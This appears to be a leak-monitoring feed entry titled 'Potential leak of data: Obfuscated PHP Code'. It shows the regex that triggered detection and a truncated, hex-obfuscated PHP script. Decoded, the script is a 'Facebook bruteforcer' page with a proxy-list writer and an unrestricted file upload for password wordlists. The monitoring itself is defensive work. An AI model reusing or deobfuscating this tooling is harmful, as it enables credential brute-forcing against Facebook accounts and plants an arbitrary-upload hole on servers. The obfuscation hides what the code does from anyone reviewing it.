Quantcast
Channel: Obfuscated PHP Code – LeakedIn
Viewing all articles
Browse latest Browse all 222

Potential leak of data: Obfuscated PHP Code

$
0
0
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>': <?php ${"\x47LO\x42\x41\x4cS"}["\x76\x65\x62uf\x6b\x68\x67y"]="\x75\x73\x65\x72n\x61\x6d\x65";${"GLOBALS"}["\x74\x6e\x70w\x63\x74v"]="l\x69\x6ee";${"\x47L\x4fB\x41LS"}["\x6e\x68\x68\x64\x6ah\x69"]="lin\x65s";${"\x47\x4c\x4f\x42\x41\x4cS"}["a\x6c\x67\x74i\x6b"]="in\x66o";${"\x47\x4c\x4f\x42\x41L\x53"}["chj\x6dc\x71\x61"]="\x73\x6fu\x72\x63\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x7a\x73\x6d\x68t"]="\x63\x68";${"\x47\x4cO\x42\x41\x4c\x53"}["\x74p\x76\x78\x6e\x7a\x6f\x74"]="h\x65\x61\x64\x65r";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x74\x74z\x6ev\x71\x77\x66ee\x69m"]="d\x69ct\x69o\x6e\x61\x72y";${"GL\x4fB\x41\x4cS"}["c\x6d\x77\x62\x75p\x77"]="\x64\x61\x74\x61";${"\x47\x4cO\x42\x41\x4cS"}["gp\x72\x6d\x6a\x67u\x65u"]="ke\x79";${"G\x4cOB\x41\x4c\x53"}["\x77\x69\x6coqfr\x66ay"]="\x76\x61\x6c\x75\x65";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x71\x73\x76t\x70\x61\x65g\x76"]="\x70\x61\x73s";${"\x47L\x4f\x42AL\x53"}["z\x72\x70\x6dq\x67\x6ec\x66o\x64\x73"]="\x65\x6d\x61i\x6c";${"G\x4c\x4f\x42\x41L\x53"}["\x65\x71\x76\x72\x61\x62\x66"]="\x76\x61\x72s";echo "\n\n<\x74\x69\x74\x6ce>FAC\x45\x42\x4f\x4f\x4b \x42\x52\x55T\x45\x46\x4fR\x43\x45\x52 20\x314 \x50R\x49\x568\x20\x42Y TH\x45\x20G\x52EA\x54EST\x3c/ti\x74\x6c\x65\x3e\n<ce\x6e\x74\x65\x72\x3e\n\n\t\n\t<for\x6d\x20me\x74\x68od\x3d\x22p\x6fst\x22 \x61\x63\x74\x69\x6f\x6e\x3d\x22\x22>\n\x20\x20 \x20\x20<t\x65x\x74ar\x65a \x63\x6fl\x73\x3d'\x322' \x63l\x61ss\x3d'a\x72ea'\x20rows=\x271\x34\x27 n\x61\x6de\x3d'\x70\x72\x6fx\x79'\x20\x70\x6cac\x65h\x6f\x6c\x64e\x72=\x22PR\x4fXI\x45S (\x50ROXY \x52\x4f\x54\x41\x54O\x52)\"\x3e</t\x65\x78\x74\x61\x72e\x61><br\x3e\n\x20\x20 \x20\x20\x3cin\x70\x75t \x74ype=\x27sub\x6di\x74'\x20n\x61m\x65=\x22s\x75b\x6d\x69t\"\x20\x76\x61\x6c\x75e\x3d'USE\x20PR\x4f\x58\x59'>\n\n</f\x6f\x72\x6d>\n\t\n\n\n\t\n\x3c/cen\x74\x65r>\n";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79\x72\x71\x73\x76\x63\x74\x6d"]="\x66";echo"\t";${"\x47LO\x42\x41\x4cS"}["\x6e\x68b\x73\x78o\x6a\x74\x61\x73\x64i"]="\x66";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6e\x68b\x73\x78\x6f\x6a\x74a\x73\x64\x69"]}=fopen("\x70\x72\x6f\x78\x69\x65\x73\x2e\x74\x78t","\x77");fwrite(${${"G\x4c\x4f\x42\x41\x4c\x53"}["y\x72\x71\x73\x76\x63\x74\x6d"]},$_POST["p\x72\x6f\x78\x79"]);fclose(${${"G\x4c\x4f\x42\x41LS"}["\x79\x72qs\x76c\x74\x6d"]});echo "<\x63\x65\x6e\x74er\x3e\n";error_reporting(E_STRICT);echo"<fo\x72m\x20\x61\x63\x74\x69\x6f\x6e=\x22\x22\x20\x6d\x65\x74\x68o\x64\x3d\x22p\x6fst\"\x20e\x6ec\x74y\x70\x65=\x22\x6dult\x69\x70\x61\x72\x74/f\x6f\x72m-\x64\x61\x74a\"\x20\x6eame\x3d\x22\x75\x70\x6co\x61\x64er\x22\x20\x69\x64=\x22\x75\x70\x6c\x6f\x61\x64\x65\x72\x22>";echo"<i\x6ep\x75\x74\x20\x74\x79\x70\x65=\x22\x66\x69\x6c\x65\x22\x20\x6e\x61\x6d\x65=\x22\x66\x69\x6c\x65\x22\x20\x73\x69\x7a\x65=\"\x350\x22>\x3c\x69\x6e\x70ut \x6e\x61\x6d\x65\x3d\x22\x5fup\x6c\x22\x20\x74y\x70e\x3d\x22\x73u\x62\x6d\x69t\"\x20\x69\x64\x3d\"\x5f\x75\x70\x6c\x22\x20\x76\x61l\x75\x65\x3d\x22\x55\x50\x4cO\x41\x44\x20\x57\x4f\x52\x44\x4c\x49ST\"\x3e</for\x6d\x3e";if($_POST["_u\x70\x6c"]=="U\x50\x4c\x4f\x41D\x20\x57\x4fR\x44\x4c\x49\x53\x54"){if(@copy($_FILES["f\x69l\x65"]["\x74\x6dp_\x6e\x61\x6d\x65"],$_FILES["\x66\x69\x6c\x65"]["na\x6d\x65"])){echo"\x3c\x62\x3eF\x49\x4c\x45 U\x50LO\x41D\x45\x44\x21!!\x20\x4d\x41\x4b\x45\x20S\x55\x52\x45\x20\x49\x54\x20\x49S\x20pas\x73\x2e\x74\x78t\x3c\x62\x3e\x3cb\x72\x3e\x3c\x62\x72\x3e";}else{echo"\x3c\x62\x3e\x46a\x69\x6ce\x64\x20\x74\x6f u\x70\x6c\x6fa\x64\x3c/\x62\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e";}}echo "\x3c/cen\x74e\x72\x3e\n<\x63\x65\x6ete\x72\x3e\n\x3c\x48T\x4d\x4c\x3e\n<\x42ODY\x3e\n<h\x65a\x64\x3e\n\x3c\x66\x6fr\x6d \x6d\x65\x74\x68\x6f\x64\x3d'P\x4f\x53T'>\n<\x74it\x6ce\x3e\x46\x41C\x45BO\x4fK \x42RUT\x45\x46\x4f\x52\x43ER\x202\x30\x314\x20\x50R\x49\x56\x38 B\x59\x20T\x48\x45\x20G\x52EA\x54ES\x54</t\x69\x74\x6c\x65>\n</hea\x64>\n<st\x79\x6ce\x3e\n \x20 \x20te\x78\x74\x61\x72ea {\n\x20\x20 \x72esi\x7a\x65:n\x6fne;\n \x20\x20c\x6flo\x72:\x20\x23\x33\x3366\x46F;\n \x20 \x62\x6f\x72\x64e\x72:\x31p\x78\x20so\x6ci\x64\x20\x233\x3366FF;\n\x20\x20\x20\x20\x62or\x64er-\x6cef\x74:\x20\x34\x70\x78 s\x6f\x6cid \x23\x33366F\x46\x3b\n \x20 \x20}\n\x20 \x20 \x69np\x75\x74\x20{\n\x20 co\x6c\x6f\x72: \x23\x33\x33\x366\x46F\x3b\n \x62orde\x72:1\x70x\x20\x64ot\x74ed \x23\x33\x3366F\x46;\n \x20}\n</\x73tyle>\n\x3c\x62\x6f\x64y\x20\x74\x65xt\x3d'\x23\x30\x30\x30\x300\x30\x27\x20b\x67\x63o\x6c\x6fr\x3d\x27\x23F\x46\x46\x46\x46F'>\n\x20\x20\x20 \x3c\x63\x65n\x74\x65\x72>\n\x20 \x20\x20 \x20 <\x69\x6dg\x20b\x6fr\x64e\x72='\x30' \x73r\x63\x3d\x27\x68t\x74\x70://\x69m70.g\x75lfu\x70.\x63om/qJ\x7a\x62l\x43.p\x6eg' \x77\x69\x64\x74\x68\x3d'\x3400'\x20h\x65i\x67\x68\x74\x3d'\x322\x30'>\n \x20\x3c/\x63\x65\x6eter>\n\x20 \x20 […]

Viewing all articles
Browse latest Browse all 222

Trending Articles